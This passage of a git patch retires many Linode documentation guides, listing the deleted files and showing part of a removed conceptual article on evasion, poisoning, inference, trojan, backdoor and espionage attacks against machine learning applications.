From 95bfdd1f0fda8c777b20666c26f8d5f71b857231 Mon Sep 17 00:00:00 2001 From: Nathan Melehan Date: Mon, 20 Jul 2026 14:39:02 +0000 Subject: [PATCH] Retire guides --- .../machine-learning-cyber-attacks/index.md | 77 -- .../index.md | 129 -- .../cloud-storage/dropbox/index.md | 77 -- .../freenas-blockstorage/index.md | 160 --- .../index.md | 597 --------- .../index.md | 187 --- .../index.md | 220 ---- .../basics/using-mktemp-command/index.md | 194 --- .../index.md | 569 --------- .../index.md | 352 ------ .../deploy-in-code-with-pulumi/index.md | 315 ----- .../index.md | 241 ---- .../index.md | 1034 ---------------- .../configure-apache-with-salt-stack/index.md | 614 --------- .../index.md | 327 ----- .../index.md | 283 ----- .../index.md | 303 ----- .../serverless-vs-containers/index.md | 111 -- .../index.md | 70 -- .../how-to-install-jellyfin/index.md | 191 --- .../index.md | 332 ----- .../index.md | 117 -- .../index.md | 184 --- .../index.md | 249 ---- .../index.md | 103 -- .../messaging/install-znc-debian/index.md | 210 ---- .../messaging/using-weechat-for-irc/index.md | 251 ---- .../install-farmos/index.md | 153 --- .../index.md | 134 -- .../index.md | 89 -- .../install-asterisk-on-centos-7/index.md | 339 ----- .../index.md | 256 ---- .../index.md | 313 ----- .../general/list-of-databases/index.md | 351 ------ .../index.md | 525 -------- .../index.md | 179 --- .../index.md | 242 ---- .../index.md | 238 ---- .../index.md | 509 -------- .../install-mongodb-on-centos-7/index.md | 268 ---- .../mysql/an-overview-of-mysql/index.md | 62 - .../how-to-install-mysql-on-centos-7/index.md | 218 ---- .../how-to-install-mysql-on-centos8/index.md | 239 ---- .../mysql/mysql-command-line-client/index.md | 122 -- .../index.md | 478 -------- .../redis/lua-scripting-for-redis/index.md | 193 --- .../redis/redis-client-side-caching/index.md | 297 ----- .../redis/redis-getting-started/index.md | 285 ----- .../index.md | 260 ---- .../index.md | 235 ---- .../sql-syntax/sharded-database/index.md | 233 ---- .../api-design-best-practices/index.md | 213 ---- .../index.md | 442 ------- .../index.md | 50 - .../concepts/oop-principles/index.md | 314 ----- .../concepts/types-of-api/index.md | 110 -- .../concepts/what-is-webrtc/index.md | 116 -- .../dotnet/install-dotnet-on-ubuntu/index.md | 154 --- .../go/beginners-guide-to-go/index.md | 351 ------ .../graphql-apollo-an-introduction/index.md | 242 ---- .../index.md | 146 --- .../index.md | 147 --- .../java/install-java-on-centos/index.md | 61 - .../index.md | 488 -------- .../index.md | 117 -- .../index.md | 480 -------- .../getting-started-with-svelte/index.md | 237 ---- .../how-to-write-vue-js-plugins/index.md | 393 ------ .../index.md | 260 ---- .../index.md | 260 ---- .../nodejs/nodejs-twitter-bot/index.md | 1092 ----------------- .../index.md | 158 --- .../python/check-python-version/index.md | 87 -- .../index.md | 100 -- .../index.md | 262 ---- .../how-to-use-unicode-in-python3/index.md | 399 ------ .../index.md | 242 ---- .../python/pros-and-cons-of-python/index.md | 112 -- .../python-get-current-directory/index.md | 127 -- .../development/python/python-ml/index.md | 63 - .../development/python/python-sets/index.md | 552 --------- .../python-string-interpolation/index.md | 251 ---- .../index.md | 197 --- .../index.md | 193 --- .../index.md | 433 ------- .../how-to-switch-git-branches/index.md | 82 -- .../index.md | 190 --- .../how-to-use-gitignore/index.md | 498 -------- .../install-gitlab-on-ubuntu-18-04/index.md | 115 -- .../install-gitlab-with-docker/index.md | 250 ---- .../introduction-to-version-control/index.md | 114 -- .../rename-git-branch/index.md | 112 -- .../resolving-git-merge-conflicts/index.md | 281 ----- .../postfix-smtp-debian7/index.md | 237 ---- .../index.md | 576 --------- .../index.md | 859 ------------- .../index.md | 934 -------------- .../index.md | 115 -- .../garrys-mod-server-on-centos-7/index.md | 174 --- .../index.md | 105 -- .../index.md | 163 --- .../index.md | 186 --- .../multicraft-on-ubuntu/index.md | 177 --- .../index.md | 416 ------- .../index.md | 191 --- .../index.md | 341 ----- .../how-to-install-rooknfs-on-lke/index.md | 285 ----- .../index.md | 596 --------- .../index.md | 513 -------- .../index.md | 325 ----- .../networking/dns/dns-overview/index.md | 258 ---- .../dns/introduction-to-dns-on-linux/index.md | 454 ------- .../index.md | 339 ----- .../index.md | 210 ---- .../networking/types-of-networks/index.md | 200 --- .../set-up-wireguard-vpn-on-debian/index.md | 290 ----- .../migrate-a-lamp-website-to-linode/index.md | 145 --- .../introduction-to-backups/index.md | 67 - .../multi-cloud-vs-hybrid-cloud/index.md | 90 -- .../delete-file-linux-command-line/index.md | 102 -- .../linux/drupal-with-docker-compose/index.md | 142 --- .../linux/linux-vs-windows/index.md | 120 -- .../log-in-to-coreos-container-linux/index.md | 36 - .../open-source-vs-closed-source/index.md | 95 -- .../linux/what-is-pub-sub/index.md | 145 --- .../index.md | 240 ---- .../index.md | 69 -- .../index.md | 116 -- .../index.md | 592 --------- .../index.md | 231 ---- .../gpg-key-for-ssh-authentication/index.md | 495 -------- .../index.md | 122 -- .../upgrade-to-ubuntu-18-04/index.md | 198 --- .../upgrade-to-ubuntu-20-04/index.md | 193 --- .../index.md | 255 ---- .../basics/using-the-terminal/index.md | 215 ---- .../custom-compiled-kernel-centos-7/index.md | 139 --- .../index.md | 175 --- .../file-transfer/how-to-use-scp/index.md | 266 ---- .../index.md | 188 --- .../index.md | 180 --- .../finding-files-with-fd-command/index.md | 246 ---- .../index.md | 225 ---- .../tools/how-to-use-gping-on-linux/index.md | 143 --- .../tools/load-testing-with-siege/index.md | 187 --- .../tools/tldr-pages-on-linux/index.md | 277 ----- .../tools/use-dog-linux-dns-client/index.md | 208 ---- .../google-analytics-for-websites/index.md | 167 --- .../google-analytics-on-wordpress/index.md | 143 --- .../index.md | 194 --- .../index.md | 299 ----- .../adagios-web-interface-for-nagios/index.md | 257 ---- .../index.md | 84 -- .../logwatch-monitor-system-logs/index.md | 202 --- .../index.md | 176 --- .../monitor-remote-hosts-with-icinga/index.md | 215 ---- .../monitoring/ossec-ids-debian-7/index.md | 492 -------- .../apache-configuration-basics/index.md | 114 -- .../index.md | 180 --- .../index.md | 409 ------ .../index.md | 373 ------ .../index.md | 134 -- .../index.md | 144 --- .../index.md | 120 -- .../index.md | 246 ---- .../index.md | 309 ----- .../index.md | 315 ----- .../index.md | 387 ------ .../index.md | 261 ---- .../index.md | 238 ---- .../index.md | 189 --- .../index.md | 336 ----- .../index.md | 292 ----- .../how-to-install-nginx-centos-8/index.md | 151 --- .../index.md | 116 -- .../squid/squid-http-proxy-centos-8/index.md | 238 ---- .../websites/cms/basics/cms-overview/index.md | 70 -- .../index.md | 154 --- .../index.md | 134 -- .../index.md | 110 -- .../index.md | 113 -- .../index.md | 186 --- .../index.md | 157 --- .../how-to-install-drush-on-centos-8/index.md | 151 --- .../index.md | 145 --- .../index.md | 143 --- .../index.md | 146 --- .../index.md | 139 --- .../index.md | 142 --- .../how-to-install-ghost-on-centos-8/index.md | 285 ----- .../index.md | 522 -------- .../index.md | 480 -------- .../install-magento-on-centos-7/index.md | 395 ------ .../install-magento-on-ubuntu-18-04/index.md | 430 ------- .../install-opencart-on-centos-7/index.md | 156 --- .../index.md | 392 ------ .../static-sites/install-gatsbyjs/index.md | 735 ----------- .../index.md | 591 --------- .../install-mediawiki-on-ubuntu-1804/index.md | 81 -- 199 files changed, 50690 deletions(-) delete mode 100644 docs/guides/applications/big-data/machine-learning-cyber-attacks/index.md delete mode 100644 docs/guides/applications/cloud-storage/access-your-box-account-from-your-linode/index.md delete mode 100644 docs/guides/applications/cloud-storage/dropbox/index.md delete mode 100644 docs/guides/applications/cloud-storage/freenas-blockstorage/index.md delete mode 100644 docs/guides/applications/cloud-storage/how-to-install-nextcloud-on-ubuntu-22-04/index.md delete mode 100644 docs/guides/applications/cloud-storage/store-and-share-your-files-with-nextcloud-centos-7/index.md delete mode 100644 docs/guides/applications/configuration-management/ansible/front-line-best-practices-ansible/index.md delete mode 100644 docs/guides/applications/configuration-management/basics/using-mktemp-command/index.md delete mode 100644 docs/guides/applications/configuration-management/chef/how-to-install-chef-on-ubuntu-20-04/index.md delete mode 100644 docs/guides/applications/configuration-management/chef/install-a-chef-server-workstation-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/applications/configuration-management/pulumi/deploy-in-code-with-pulumi/index.md delete mode 100644 docs/guides/applications/configuration-management/puppet/install-and-manage-mysql-databases-with-puppet-hiera-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/applications/configuration-management/salt/automate-a-static-site-deployment-with-salt/index.md delete mode 100644 docs/guides/applications/configuration-management/salt/configure-apache-with-salt-stack/index.md delete mode 100644 docs/guides/applications/configuration-management/terraform/how-to-provision-an-unmanaged-kubernetes-cluster-using-terraform/index.md delete mode 100644 docs/guides/applications/containers/deploy-a-flask-application-with-dokku/index.md delete mode 100644 docs/guides/applications/containers/how-to-monitor-containers-with-the-elastic-stack/index.md delete mode 100644 docs/guides/applications/containers/serverless-vs-containers/index.md delete mode 100644 docs/guides/applications/containers/what-are-cloud-native-applications/index.md delete mode 100644 docs/guides/applications/media-servers/how-to-install-jellyfin/index.md delete mode 100644 docs/guides/applications/media-servers/how-to-install-shoutcast-dnas-server-on-linux/index.md delete mode 100644 docs/guides/applications/media-servers/install-plex-media-server-on-centos-7/index.md delete mode 100644 docs/guides/applications/media-servers/install-plex-media-server-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/applications/media-servers/install-plex-media-server-with-salt/index.md delete mode 100644 docs/guides/applications/media-servers/install-subsonic-media-server-on-ubuntu-or-debian/index.md delete mode 100644 docs/guides/applications/messaging/install-znc-debian/index.md delete mode 100644 docs/guides/applications/messaging/using-weechat-for-irc/index.md delete mode 100644 docs/guides/applications/project-management/install-farmos/index.md delete mode 100644 docs/guides/applications/remote-desktop/remote-cloud-desktop-using-apache-guacamole/index.md delete mode 100644 docs/guides/applications/remote-desktop/running-graphic-software-xforwarding-debian/index.md delete mode 100644 docs/guides/applications/voip/install-asterisk-on-centos-7/index.md delete mode 100644 docs/guides/databases/cassandra/how-to-install-apache-cassandra-on-centos-7/index.md delete mode 100644 docs/guides/databases/cassandra/how-to-install-apache-cassandra-on-debian-9/index.md delete mode 100644 docs/guides/databases/general/list-of-databases/index.md delete mode 100644 docs/guides/databases/hadoop/how-to-install-and-set-up-hadoop-cluster/index.md delete mode 100644 docs/guides/databases/mariadb/how-to-install-mariadb-on-centos-7/index.md delete mode 100644 docs/guides/databases/mariadb/how-to-install-mariadb-on-debian-10/index.md delete mode 100644 docs/guides/databases/mariadb/how-to-install-mariadb-on-debian-9/index.md delete mode 100644 docs/guides/databases/mongodb/build-database-clusters-with-mongodb/index.md delete mode 100644 docs/guides/databases/mongodb/install-mongodb-on-centos-7/index.md delete mode 100644 docs/guides/databases/mysql/an-overview-of-mysql/index.md delete mode 100644 docs/guides/databases/mysql/how-to-install-mysql-on-centos-7/index.md delete mode 100644 docs/guides/databases/mysql/how-to-install-mysql-on-centos8/index.md delete mode 100644 docs/guides/databases/mysql/mysql-command-line-client/index.md delete mode 100644 docs/guides/databases/postgresql/how-to-install-postgresql-relational-databases-on-centos-7/index.md delete mode 100644 docs/guides/databases/redis/lua-scripting-for-redis/index.md delete mode 100644 docs/guides/databases/redis/redis-client-side-caching/index.md delete mode 100644 docs/guides/databases/redis/redis-getting-started/index.md delete mode 100644 docs/guides/databases/redis/using-lists-and-sets-in-redis-database/index.md delete mode 100644 docs/guides/databases/redis/using-sorted-sets-in-redis-database/index.md delete mode 100644 docs/guides/databases/sql-syntax/sharded-database/index.md delete mode 100644 docs/guides/development/architectures/api-design-best-practices/index.md delete mode 100644 docs/guides/development/ci/use-buildbot-for-software-testing-on-ubuntu/index.md delete mode 100644 docs/guides/development/concepts/introduction-to-the-solid-data-protocol/index.md delete mode 100644 docs/guides/development/concepts/oop-principles/index.md delete mode 100644 docs/guides/development/concepts/types-of-api/index.md delete mode 100644 docs/guides/development/concepts/what-is-webrtc/index.md delete mode 100644 docs/guides/development/frameworks/dotnet/install-dotnet-on-ubuntu/index.md delete mode 100644 docs/guides/development/go/beginners-guide-to-go/index.md delete mode 100644 docs/guides/development/graphql/graphql-apollo-an-introduction/index.md delete mode 100644 docs/guides/development/java/how-to-install-openjdk-on-centos-8/index.md delete mode 100644 docs/guides/development/java/how-to-install-openjdk-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/development/java/install-java-on-centos/index.md delete mode 100644 docs/guides/development/java/java-development-wildfly-centos-7/index.md delete mode 100644 docs/guides/development/java/kotlin-vs-java-understanding-their-differences/index.md delete mode 100644 docs/guides/development/javascript/build-mern-stack-chat-application/index.md delete mode 100644 docs/guides/development/javascript/getting-started-with-svelte/index.md delete mode 100644 docs/guides/development/javascript/how-to-write-vue-js-plugins/index.md delete mode 100644 docs/guides/development/nodejs/how-to-install-nodejs-and-nginx-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/development/nodejs/install-configure-selenium-grid-ubuntu-16-04/index.md delete mode 100644 docs/guides/development/nodejs/nodejs-twitter-bot/index.md delete mode 100644 docs/guides/development/nodejs/use-nightmarejs-to-automate-headless-browsing/index.md delete mode 100644 docs/guides/development/python/check-python-version/index.md delete mode 100644 docs/guides/development/python/create-a-python-virtualenv-on-centos-8/index.md delete mode 100644 docs/guides/development/python/how-to-convert-datatypes-in-python/index.md delete mode 100644 docs/guides/development/python/how-to-use-unicode-in-python3/index.md delete mode 100644 docs/guides/development/python/installing-and-importing-modules-in-python-3/index.md delete mode 100644 docs/guides/development/python/pros-and-cons-of-python/index.md delete mode 100644 docs/guides/development/python/python-get-current-directory/index.md delete mode 100644 docs/guides/development/python/python-ml/index.md delete mode 100644 docs/guides/development/python/python-sets/index.md delete mode 100644 docs/guides/development/python/python-string-interpolation/index.md delete mode 100644 docs/guides/development/react/how-to-deploy-a-react-app-on-centos-8/index.md delete mode 100644 docs/guides/development/react/how-to-deploy-a-react-app-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/development/version-control/how-to-remove-untracked-files-in-git/index.md delete mode 100644 docs/guides/development/version-control/how-to-switch-git-branches/index.md delete mode 100644 docs/guides/development/version-control/how-to-unbundle-nginx-from-omnibus-gitlab-for-serving-multiple-websites/index.md delete mode 100644 docs/guides/development/version-control/how-to-use-gitignore/index.md delete mode 100644 docs/guides/development/version-control/install-gitlab-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/development/version-control/install-gitlab-with-docker/index.md delete mode 100644 docs/guides/development/version-control/introduction-to-version-control/index.md delete mode 100644 docs/guides/development/version-control/rename-git-branch/index.md delete mode 100644 docs/guides/development/version-control/resolving-git-merge-conflicts/index.md delete mode 100644 docs/guides/email/email-services/postfix-smtp-debian7/index.md delete mode 100644 docs/guides/email/postfix/configure-spf-and-dkim-in-postfix-on-debian-9/index.md delete mode 100644 docs/guides/email/postfix/email-with-postfix-dovecot-and-mariadb-on-centos-7/index.md delete mode 100644 docs/guides/email/postfix/troubleshooting-problems-with-postfix-dovecot-and-mysql/index.md delete mode 100644 docs/guides/game-servers/deploy-7-days-to-die-linux-game-server/index.md delete mode 100644 docs/guides/game-servers/garrys-mod-server-on-centos-7/index.md delete mode 100644 docs/guides/game-servers/installing-amp-game-server-management-panel/index.md delete mode 100644 docs/guides/game-servers/launch-a-counter-strike-global-offensive-server-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/game-servers/minecraft-with-mcmyadmin-on-debian/index.md delete mode 100644 docs/guides/game-servers/multicraft-on-ubuntu/index.md delete mode 100644 docs/guides/kubernetes/deploy-minio-on-kubernetes-using-kubespray-and-ansible/index.md delete mode 100644 docs/guides/kubernetes/deploy-tobs-on-linode-kubernetes-engine/index.md delete mode 100644 docs/guides/kubernetes/how-to-deploy-jenkins-x-in-linode-kubernetes-engine/index.md delete mode 100644 docs/guides/kubernetes/how-to-install-rooknfs-on-lke/index.md delete mode 100644 docs/guides/kubernetes/manage-a-docker-cluster-with-kubernetes/index.md delete mode 100644 docs/guides/kubernetes/setting-up-harbor-registry-with-lke/index.md delete mode 100644 docs/guides/kubernetes/using-octant-with-kubernetes-a-tutorial/index.md delete mode 100644 docs/guides/networking/dns/dns-overview/index.md delete mode 100644 docs/guides/networking/dns/introduction-to-dns-on-linux/index.md delete mode 100644 docs/guides/networking/linode-network/introduction-to-osi-networking-model/index.md delete mode 100644 docs/guides/networking/linode-network/set-up-an-ipv6-tunnel-on-your-linode/index.md delete mode 100644 docs/guides/networking/types-of-networks/index.md delete mode 100644 docs/guides/networking/vpn/set-up-wireguard-vpn-on-debian/index.md delete mode 100644 docs/guides/platform/migrate-to-linode/migrate-a-lamp-website-to-linode/index.md delete mode 100644 docs/guides/quick-answers/linux-essentials/introduction-to-backups/index.md delete mode 100644 docs/guides/quick-answers/linux-essentials/multi-cloud-vs-hybrid-cloud/index.md delete mode 100644 docs/guides/quick-answers/linux/delete-file-linux-command-line/index.md delete mode 100644 docs/guides/quick-answers/linux/drupal-with-docker-compose/index.md delete mode 100644 docs/guides/quick-answers/linux/linux-vs-windows/index.md delete mode 100644 docs/guides/quick-answers/linux/log-in-to-coreos-container-linux/index.md delete mode 100644 docs/guides/quick-answers/linux/open-source-vs-closed-source/index.md delete mode 100644 docs/guides/quick-answers/linux/what-is-pub-sub/index.md delete mode 100644 docs/guides/security/authentication/oauth2-authentication-an-introduction/index.md delete mode 100644 docs/guides/security/basics/remove-unused-network-facing-services/index.md delete mode 100644 docs/guides/security/firewalls/firewall-best-practices-for-securing-your-cloud-based-applications/index.md delete mode 100644 docs/guides/security/monitoring/visualize-server-security-on-centos-7-with-an-elastic-stack-and-wazuh/index.md delete mode 100644 docs/guides/security/selinux/a-beginners-guide-to-selinux-on-centos-8/index.md delete mode 100644 docs/guides/security/ssh/gpg-key-for-ssh-authentication/index.md delete mode 100644 docs/guides/security/ssh/setting-up-an-ssh-tunnel-with-your-linode-for-safe-browsing/index.md delete mode 100644 docs/guides/security/upgrading/upgrade-to-ubuntu-18-04/index.md delete mode 100644 docs/guides/security/upgrading/upgrade-to-ubuntu-20-04/index.md delete mode 100644 docs/guides/security/vulnerabilities/linux-red-team-persistence-techniques/index.md delete mode 100644 docs/guides/tools-reference/basics/using-the-terminal/index.md delete mode 100644 docs/guides/tools-reference/custom-kernels-distros/custom-compiled-kernel-centos-7/index.md delete mode 100644 docs/guides/tools-reference/custom-kernels-distros/how-to-upgrade-from-centos-7-to-centos-8/index.md delete mode 100644 docs/guides/tools-reference/file-transfer/how-to-use-scp/index.md delete mode 100644 docs/guides/tools-reference/tools/duf-command-on-linux-installation/index.md delete mode 100644 docs/guides/tools-reference/tools/faster-file-navigation-with-autojump/index.md delete mode 100644 docs/guides/tools-reference/tools/finding-files-with-fd-command/index.md delete mode 100644 docs/guides/tools-reference/tools/how-to-administer-server-with-cockpit/index.md delete mode 100644 docs/guides/tools-reference/tools/how-to-use-gping-on-linux/index.md delete mode 100644 docs/guides/tools-reference/tools/load-testing-with-siege/index.md delete mode 100644 docs/guides/tools-reference/tools/tldr-pages-on-linux/index.md delete mode 100644 docs/guides/tools-reference/tools/use-dog-linux-dns-client/index.md delete mode 100644 docs/guides/uptime/analytics/google-analytics-for-websites/index.md delete mode 100644 docs/guides/uptime/analytics/google-analytics-on-wordpress/index.md delete mode 100644 docs/guides/uptime/analytics/open-web-analytics-install-and-launch-on-your-server/index.md delete mode 100644 docs/guides/uptime/analytics/zipkin-server-configuration-using-docker-and-mysql/index.md delete mode 100644 docs/guides/uptime/monitoring/adagios-web-interface-for-nagios/index.md delete mode 100644 docs/guides/uptime/monitoring/get-started-using-nethogs-for-network-usage-monitoring/index.md delete mode 100644 docs/guides/uptime/monitoring/logwatch-monitor-system-logs/index.md delete mode 100644 docs/guides/uptime/monitoring/monitor-and-configure-nagios-alerts-on-debian-10-ubuntu-2004/index.md delete mode 100644 docs/guides/uptime/monitoring/monitor-remote-hosts-with-icinga/index.md delete mode 100644 docs/guides/uptime/monitoring/ossec-ids-debian-7/index.md delete mode 100644 docs/guides/web-servers/apache-tips-and-tricks/apache-configuration-basics/index.md delete mode 100644 docs/guides/web-servers/apache/host-your-own-rss-reader-with-tiny-tiny-rss-on-centos-7/index.md delete mode 100644 docs/guides/web-servers/apache/how-to-install-apache-web-server-centos-8/index.md delete mode 100644 docs/guides/web-servers/apache/how-to-install-apache-web-server-ubuntu-18-04/index.md delete mode 100644 docs/guides/web-servers/caddy/how-to-install-and-configure-caddy-on-centos-8/index.md delete mode 100644 docs/guides/web-servers/caddy/how-to-install-and-configure-caddy-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/web-servers/caddy/install-and-configure-caddy-on-centos-7/index.md delete mode 100644 docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-arch-linux/index.md delete mode 100644 docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-7/index.md delete mode 100644 docs/guides/web-servers/lamp/how-to-install-a-lamp-stack-on-centos-8/index.md delete mode 100644 docs/guides/web-servers/lamp/how-to-install-lamp-stack-on-fedora-alma-rocky-linux/index.md delete mode 100644 docs/guides/web-servers/lemp/how-to-install-the-lemp-stack-on-centos-8/index.md delete mode 100644 docs/guides/web-servers/lemp/how-to-install-the-lemp-stack-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/web-servers/lemp/lemp-stack-on-centos-7-with-fastcgi/index.md delete mode 100644 docs/guides/web-servers/nginx/build-nginx-with-pagespeed-from-source/index.md delete mode 100644 docs/guides/web-servers/nginx/getting-started-with-nginx-part-4-tls-deployment-best-practices/index.md delete mode 100644 docs/guides/web-servers/nginx/how-to-install-nginx-centos-8/index.md delete mode 100644 docs/guides/web-servers/nginx/how-to-install-nginx-ubuntu-18-04/index.md delete mode 100644 docs/guides/web-servers/squid/squid-http-proxy-centos-8/index.md delete mode 100644 docs/guides/websites/cms/basics/cms-overview/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-install-and-configure-drupal-on-centos-8/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-install-and-configure-drupal-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-centos-8/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-install-drupal-themes-and-modules-using-drush-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-install-drupal-using-drush-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-install-drupal-with-docker-compose-ubuntu-18-04/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-install-drush-on-centos-8/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-install-drush-on-debian-10/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-install-drush-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-centos-8/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-debian-10/index.md delete mode 100644 docs/guides/websites/cms/drupal/how-to-update-drupal-8-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/websites/cms/ghost/how-to-install-ghost-on-centos-8/index.md delete mode 100644 docs/guides/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-7/index.md delete mode 100644 docs/guides/websites/cms/wordpress/how-to-install-wordpress-using-wp-cli-on-centos-8/index.md delete mode 100644 docs/guides/websites/ecommerce/install-magento-on-centos-7/index.md delete mode 100644 docs/guides/websites/ecommerce/install-magento-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/websites/ecommerce/install-opencart-on-centos-7/index.md delete mode 100644 docs/guides/websites/erp/install-an-odoo-13-stack-on-ubuntu-18-04/index.md delete mode 100644 docs/guides/websites/static-sites/install-gatsbyjs/index.md delete mode 100644 docs/guides/websites/varnish/use-varnish-and-nginx-to-serve-wordpress-over-ssl-and-http-on-debian-8/index.md delete mode 100644 docs/guides/websites/wikis/install-mediawiki-on-ubuntu-1804/index.md diff --git a/docs/guides/applications/big-data/machine-learning-cyber-attacks/index.md b/docs/guides/applications/big-data/machine-learning-cyber-attacks/index.md deleted file mode 100644 index 4530f608bd1..00000000000 --- a/docs/guides/applications/big-data/machine-learning-cyber-attacks/index.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -slug: machine-learning-cyber-attacks -title: "The Most Common Cyber Attacks on Machine Learning Applications" -title_meta: "Common Cyber Attacks on Machine Learning Applications" -description: 'Common machine learning cyber attacks include evasion, poisoning, and inference attacks. In this guide, learn about each attack and the areas of an ML application they target.' -authors: ["John Mueller"] -contributors: ["John Mueller"] -published: 2022-05-20 -keywords: ['machine learning cyber attacks','evasion attacks against machine learning'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -[Machine learning (ML)](/cloud/guides/history-of-machine-learning/) algorithms and models ingest large amounts of data and use pattern recognition to make predictions and adjustments based on that data. ML powers chatbots, product recommendation systems, self-driving cars, and assists in decision-making in the health and financial sectors. Due to the prevalence of tools and frameworks like [TensorFlow](/cloud/guides/how-to-install-tensorflow/) and [PyTorch](/cloud/guides/pytorch-installation-ubuntu-2004/), developers are now able to add ML to their applications with less effort. Before getting started with machine learning, you should be aware of the most common machine learning cyber attacks. When thinking about the security of your ML application, you must consider the following areas: - -- **Data**: If your data is corrupted in any way, you will not obtain reliable our useful results from your machine learning models. -- **Application**: When a model becomes corrupted, even the most perfect data produces incorrect results. -- **Output**: An application only produces the output it’s designed to provide. Altering an application to perform tasks other than what it was designed to perform is a misuse of the application. -- **User**: Even if all of the other security factors for a machine learning application are correct, users can easily thwart machine learning applications through various means, such as purposely providing bad input or misinterpreting the output. - -This guide discusses the top security vulnerabilities that you may encounter in a machine learning project. Some of these vulnerabilities are common to all software development projects, while others are unique to machine learning ones. - -## Evasion - -The evasion attack is the most common issue facing machine learning applications. This attack seeks to modify input data in order to "trick" ML classifiers. For example, a successful evasion attack can insert a malicious algorithm into your application that slightly modifies an image, causing it to be misclassified by the machine learning algorithm. An evasion attack seeks to infiltrate a system in the following ways: - -- **Attachment**: An attachment can contain malicious code that executes the moment the file is opened. -- **Link**: The malicious code executes as soon as the resource pointed to by the link is opened. -- **Image**: Viewing an image within a user’s email setup can invoke the malicious code. -- **Spoofing**: A hacker impersonates a trusted party. -- **Biometric**: Using specially crafted code or other techniques, the attacker simulates a facial expression or fingerprint to gain access to a system. -- **Specially crafted code**: It’s possible to train a machine learning model to perturb the output of a target model. - -## Poisoning - -A poisoning attack is orchestrated by injecting false information into an application’s data stream, with the goal of producing inaccurate results. There are a number of situations where poisoning may occur. Here are the most common: - -- Using bad data during model training from unreliable or unvetted sources. -- Providing large amounts of skewed or biased input after model training. - -The attacker usually prefers stealth in this case because the goal is not to bring the system down. Instead, the attacker seeks to change the output in a manner that favors the attacker in some way. [SVM classifiers](https://secml.readthedocs.io/en/stable/tutorials/05-Poisoning.html) are often the focus of such attacks because the attacker uses them to perform tasks such as to redraw political or sales boundaries, or to give a particular product an edge during a sales campaign. - -## Inference - -If a hacker determines which records from a dataset are used to train a machine learning model, that information can be used to look for vulnerabilities. An inference attack uses data mining and analysis techniques to gain knowledge about the underlying dataset. In most cases, the best results come from [overfitted models](https://en.wikipedia.org/wiki/Overfitting). Overfitting happens when a machine learning model follows the original data points too carefully. This makes it possible for the hacker to query a particular data point with relative ease. This attack vector currently works only on [supervised learning models](/cloud/guides/introduction-to-machine-learning-training-and-inference#an-introduction-to-training-and-inference) and [Generative Adversarial Networks (GANs)](https://en.wikipedia.org/wiki/Generative_adversarial_network). - -As a hacker sends queries to the model, the model makes predictions based on the confidence levels for each class that the model supports, giving the hacker valuable insights into the underlying application. The worst part of this particular attack is that [it’s often used against specific people and their data](https://medium.com/disaitek/demystifying-the-membership-inference-attack-e33e510a0c39), such as their medical records. - -## Trojans - -A trojan employs various techniques to create code or data that looks legitimate, but is really designed to take over the application or manipulate specific components of it. The concept of using a trojan against an application is old and is used against applications of all stripes. However, in the case of machine learning, the trojan often remains hidden and seeks to discover more about the data used by the machine learning application, rather than performing more overt tasks, such as deleting files. There are many kinds of trojan attacks, but the list below contains some of the most common for machine learning: - -- **Backdoor**: Creates a backdoor on the target computer that the hacker can use to remotely control the computer. Remote access allows the hacker to do just about anything desired, including downloading your dataset or model, corrupting a dataset, or causing the model to perform in an unexpected way. -- **Banker**: Focuses on a strategy for obtaining or manipulating financial information. When considering the machine learning aspect of this Trojan, you must think about the sorts of information that this Trojan could obtain, such as membership inference, to obtain data, or evasion, to potentially obtain credentials. However, the goals are always to somehow convince a user to download a payload. -- **Downloader**: Targets systems that are already compromised and uses its functionality to download additional malware. This malware could be anything, so look for any sort of unusual activity that comprises any part of your system, including your data. -- **Neural**: Embeds malicious data into the dataset to create a condition where an action occurs based on an event, like a trigger. In most cases, the attack focuses on changing a neural network's weights to apply to only certain nodes. This kind of Trojan is most effective against Convolutional Neural Networks (CNNs), although current research shows that you can also use it against Long-Short-Term-Memory (LSTM) and Recurrent Neural Networks (RNNs). - -## Backdoors - -This kind of attack uses system, application, or data stream vulnerabilities to gain access to the underlying system or application without providing required security credentials. The focus is on the neural network itself, rather than on specially prepared inputs. Even though this attack is data based, the attack focuses on corrupting the neural network, as is the case with a trojan. The backdoor attack relies on an attacker modifying training data in some manner to gain access to the model, usually through the underlying neural network. Because this kind of attack is so subtle, a separate application is often required to locate and get rid of it. - -## Espionage - -An espionage attack involves stealing classified and sensitive data, or intellectual property to gain an advantage over a person, group, or organization. Essentially, this kind of attack involves stealth to [spy on an organization’s activities to obtain a particular result](https://wwwfr.uni.lu/snt/news_events/new_machine_learning_methods_prevent_cyber_espionage). The attack can go on for years because the attacker’s goal is to remain undetected for as long as possible. The results of the attack are normally subtle too, such as redirecting some, but not all, sales to a particular product. This form of attack can target machine learning data and models. It locates the data by using predictive models to look through logs for particular 